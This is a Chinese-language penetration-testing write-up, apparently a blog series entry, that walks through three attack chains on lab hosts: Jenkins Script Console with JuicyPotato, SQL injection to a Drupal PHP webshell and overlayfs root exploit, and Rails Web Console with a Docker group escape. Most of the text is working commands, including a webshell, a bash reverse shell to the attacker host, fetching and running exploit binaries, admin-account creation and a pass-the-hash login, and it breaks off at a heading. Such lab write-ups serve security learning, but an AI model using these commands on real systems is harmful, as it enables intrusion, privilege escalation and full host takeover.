上一篇我們用速覽的方式記錄了 13 個成功攻破的漏洞點。但滲透測試不是「打穿了就結束」——真正的學習在於理解為什麼能打穿、每一步的原理是什麼、防禦者該怎麼擋。
這篇從 13 個入口點中挑出三條最有教學價值的攻擊鏈,做完整的深度拆解:
每條攻擊鏈都會拆解:漏洞原理、每一步在做什麼、為什麼這步能成功、防禦者該怎麼防。
攻擊鏈 1:Jenkins Script Console + JuicyPotato
平台:Windows Server 2008 R2
入口:Port 8484(Jenkins)
最終權限:Administrators
核心技術:Groovy RCE + Windows Token 特權提權
1.1 漏洞原理
Jenkins Script Console 是什麼?
Jenkins 的架構:
┌──────────────────────────────────────────┐
│ Jenkins Web UI (port 8484) │
│ │
│ / → 首頁/儀表板 │
│ /job/ → CI/CD 任務管理 │
│ /configure → 系統設定 │
│ /script → Script Console ← 這裡! │
│ /manage → 管理介面 │
└──────────────────────────────────────────┘
Script Console 的設計目的:
→ 讓管理員用 Groovy 腳本管理 Jenkins
→ 可以執行任意程式碼
→ 等同於「以 Jenkins 服務帳號身份執行任意指令」
漏洞不在 Script Console 本身
而在:它不需要認證就能存取
1.2 攻擊過程深度拆解
Step 1:確認未授權存取
curl -s -o /dev/null -w "%{http_code}" http://192.168.145.146:8484/script
# → 200 = 無需認證可存取
# → 403 = 需要登入(這時候要試預設帳密或爆破)

Step 2:Groovy 偵察(http://[ip]:8484/script)
// 在 Script Console 輸入:
// 確認執行身份
println "whoami".execute().text
// → nt authority\local service
// 確認權限(關鍵!)
println "whoami /priv".execute().text
// → SeImpersonatePrivilege Enabled ← 這就是提權的鑰匙
// → SeAssignPrimaryTokenPrivilege Enabled


Step 3:下載 JuicyPotato
//先在kali的tmp路徑下載jp.exe
wget -O /tmp/jp.exe https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
//確認是否有檔案
ls -la /tmp/jp.exe
//掛載
cd /tmp && python3 -m http.server 8888
// Groovy 的 Java API 下載檔案
def file = new File("C:/Users/Public/jp.exe")
file.bytes = new URL("http://192.168.145.144:8888/jp.exe").bytes
file.exists()
// → true


為什麼不用 certutil?
嘗試過的下載方法:
方法 1:certutil(失敗 ✗)
certutil -urlcache -f http://攻擊機/jp.exe C:\Windows\Temp\jp.exe
→ Access is denied (0x80070005)
→ 原因:LOCAL SERVICE 沒有 C:\Windows\Temp 的寫入權限
方法 2:certutil 改路徑(仍然失敗 ✗)
→ certutil 本身在 LOCAL SERVICE 下行為異常
方法 3:Groovy Java API(成功 ✓)
→ Java 的 File/URL API 不受 certutil 的限制
→ 寫到 C:\Users\Public\(所有使用者可寫)
教訓:
→ 一個方法不行就換另一個
→ 滲透測試中你永遠需要 Plan B
→ 了解 Windows 各目錄的權限差異很重要
Step 4:JuicyPotato 提權
//新增帳號
println "cmd /c C:\\Users\\Public\\jp.exe -l 9999 -p C:\\Windows\\System32\\cmd.exe -a \"/c net user hacker hacker123! /add\" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}".execute().text
//加入 Administrators
println "cmd /c C:\\Users\\Public\\jp.exe -l 9999 -p C:\\Windows\\System32\\cmd.exe -a \"/c net localgroup administrators hacker /add\" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}".execute().text
//確認帳號存在
println "cmd /c net user hacker".execute().text



kali登入
# 用新建立的帳號(hacker 帳號的目的只是證明提權成功,能建帳號就夠了,不一定要用它登入。)
evil-winrm -i 192.168.145.146 -u hacker -p hacker123!
# 或用 Pass-the-Hash(不需要知道明文密碼)
evil-winrm -i 192.168.145.146 -u vagrant -H e02bc503339d51f71d913c245d35b50b


攻擊鏈 2:MySQL → Drupal PHP Filter
2.1 漏洞原理
這條攻擊鏈最特別的地方是:沒有任何一步用到「漏洞」。每一步用的都是正常功能,只是被串在一起就變成了攻擊。
平台:Ubuntu 14.04
入口:Port 80(payroll_app.php → MySQL → Drupal)
最終權限:root
核心技術:硬編碼密碼 + Drupal CMS 後台利用
SQLi → dump hash → drush 改密碼 → Drupal PHP Filter
→ webshell → www-data → overlayfs → root
//SQLi 繞過成功,登入身份是 ' OR '1'='1,薪資表是空的(沒有員工資料)。
//這步的意義是確認 user 欄位有 SQL Injection,為後續 sqlmap 撈 Drupal hash 做鋪墊
curl -s -X POST http://192.168.145.145/payroll_app.php \
--data "user=' OR '1'='1&password=anything&s=OK"
//sqlmap 撈 Drupal 帳號 hash
sqlmap -u "http://192.168.145.145/payroll_app.php" \
--data="user=admin&password=admin&s=OK" \
-D drupal -T users -C uid,name,pass --dump --batch
//安裝 drush
sudo apt-get install drush -y
//drush 重置 Drupal 密碼(-r 指定路徑)
sudo drush -r /var/www/html/drupal user-password metasploitable --password="admin123"
//登入 http://192.168.145.145/drupal(metasploitable / admin123)
//Modules → PHP filter → 啟用 → Save
//建立 webshell 頁面
//Add content → Basic page
//Body:<?php system($_GET['cmd']); ?>
//Text format:PHP code
//建立後是 node/3
curl "http://192.168.145.145/drupal/?q=node/3&cmd=id"
//會顯示一大堆URL編碼
//這時候加grep進行篩選
curl -s "http://192.168.145.145/drupal/?q=node/3&cmd=id" | grep -oP 'uid=.*'
//# → uid=33(www-data)
//Kali監聽
nc -lvnp 4444
//觸發反彈 shell(開另一個命令視窗)
curl -s "http://192.168.145.145/drupal/?q=node/3&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.145.144/4444+0>%261'"
// Kali 提供 exploit
cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp/ofs.c
python3 -m http.server 8888
# www-data shell
wget http://192.168.145.144:8888/ofs.c -O /tmp/ofs.c
gcc /tmp/ofs.c -o /tmp/ofs
/tmp/ofs
# → uid=0(root)















攻擊鏈 3:Rails Web Console + Docker Group Escape
原理
chewbacca(docker group)
↓
docker run → 和 /var/run/docker.sock 溝通
↓
Docker daemon 以 root 執行
↓
-v /:/mnt → 把主機根目錄掛進 container
↓
chroot /mnt → 在掛載的主機環境裡操作
↓
container 內是 root → 等同主機 root
完整攻擊路徑
nmap 發現 port 3500(Rails 開發模式)
↓
curl 確認 web-console 存在
↓
SSH 進目標(vagrant:vagrant)→ 繞過 127.0.0.1 白名單
↓
curl GET /foobar → 取得 session ID + cookie
↓
curl PUT /__web_console/repl_sessions/$SESSION
input=`id` → chewbacca(docker group)
↓
input=`docker run -v /:/mnt --rm alpine chroot /mnt id`
↓
uid=0(root) ✓
//確認 port 3500 服務
nmap -sV -p 3500 192.168.145.145
//確認 Web Console 存在(找到 web-console 字樣代表有掛載,但直接從外部打:)
curl -s http://192.168.145.145:3500/foobar | grep -i "web-console"
//SSH 進目標機器
ssh vagrant@192.168.145.145
//密碼:vagrant
//取得 Web Console Session ID
curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'"
//透過 API 執行 Ruby 指令
SESSION=$(curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'") && curl -s -b /tmp/c.txt -X PUT "http://127.0.0.1:3500/__web_console/repl_sessions/$SESSION" -H "X-Requested-With: XMLHttpRequest" -H "Accept: application/vnd.web-console.v2" --data-urlencode 'input=`id`'
//Docker Group Escape → Root
SESSION=$(curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'") && curl -s -b /tmp/c.txt -X PUT "http://127.0.0.1:3500/__web_console/repl_sessions/$SESSION" -H "X-Requested-With: XMLHttpRequest" -H "Accept: application/vnd.web-console.v2" --data-urlencode 'input=`docker run -v /:/mnt --rm alpine chroot /mnt id`'






三條攻擊鏈的雷點
攻擊鏈 1:Jenkins → JuicyPotato(Windows)
iThome鐵人賽